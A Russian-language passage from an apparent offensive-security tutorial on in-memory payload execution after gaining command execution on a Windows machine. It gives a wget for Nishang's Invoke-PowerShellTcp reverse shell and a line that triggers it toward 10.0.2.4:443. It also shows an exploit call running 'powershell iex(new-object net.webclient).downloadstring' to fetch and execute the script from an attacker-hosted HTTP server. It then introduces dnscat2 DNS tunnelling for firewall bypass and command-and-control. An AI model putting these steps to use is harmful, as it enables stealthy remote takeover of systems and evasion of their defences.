Мы достигли своей цели, но какой ценой? Создав файл и сбросив его на диск, мы можем быть легкого обнаружены. Давайте найдем лучший способ выполнить эксплуатацию и спрятать в памяти исполнение нагрузки. Мы выяснили, что можем выполнять любые команды на атакуемой тачке.
Представьте что у нас есть стакан с водой в темной комнате, наша задача сделать так чтобы воду в стакане было видно. Для этого мы можем поместить осветительный элемент прямо в емкость - такой способ предполагает за собой мгновенное обнаружение стороннего предмета (аналогия с передачей и запуском исполняемого файла), а что если мы поместим осветительный элемент за емкостью с водой? Мы также выполним задачу, стакан с водой будет нам виден, но в этом случае мы не увидим присутствие предмета в емкости с водой. (аналогия с выполнением инструкции в памяти).
Внедрение POWERSHELL. С помощью Powershell мы можем загружать полезную нагрузку на машину и выполнять ее, при этом все будет происходить в памяти. Давайте загрузим знаменитый reverse tcp powershell от Nishang. Загрузите ее на свою машину с помощью:
wget [<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>](<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>)
Теперь нам нужно немного изменить сценарий. Чтобы немедленно вызвать обратную оболочку, мы должны добавить эту строку в конец файла:
Invoke-PowerShellTcp -Reverse -IPAddress 10.0.2.4 -Port 443
Таким образом, когда файл будет загружен с помощью powershell, мы сразу же вызовем функцию Invoke-PowerShellTCP с нашим ip-адресом и портом для обратного подключения. Я также переименовал файл в test.ps1 Далее нам нужно загрузить файл с помощью нашего эксплойта. Для этого нам нужна всего одна строка в нашей функции.
service_exec(conn, r"cmd /c powershell iex(new-object net.webclient).downloadstring('[<http://10.0.2.4/test.ps1>](<http://10.0.2.4/test.ps1>)')")
Здесь мы вызываем cmd, а из нее - powershell, чтобы загрузить и выполнить сценарий ps1, размещенный на нашей машине. Обратите внимание, что, добавив дополнительную строку в сценарий, нам нужно просто загрузить файл, чтобы получить оболочку revers. Наконец, нам нужно как-то разместить сценарий. Для этого зайдите в папку, где находится test.ps1, и создайте http-сервер. Например, с:
python -m SimpleHTTPServer 80
Для работы нам понадобится 3 командных окна: одно для размещения нашей полезной нагрузки PowerShell, одно для слушателя Reverse Shell и одно, которое будет выполнять сам эксплойт.
Мы можем наблюдать, что это сработало. Эксплойт извлек файл с нашего сервера, и мы получили обратный TCP powershell обратно.
Часто бывает, что проходу нормального трафика мешает firewall**,** а резолв имен почти всегда разрешен. Примерную схему можете видеть ниже:
Покажу вам один из способов обхода огненной стены.
Для этого нам потребуется dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С. Command and Control сервер - компьютер, контролируемый атакующим, который отправляет команды на скомпрометированную машину.
Туннелирование DNS с помощью Dnscat2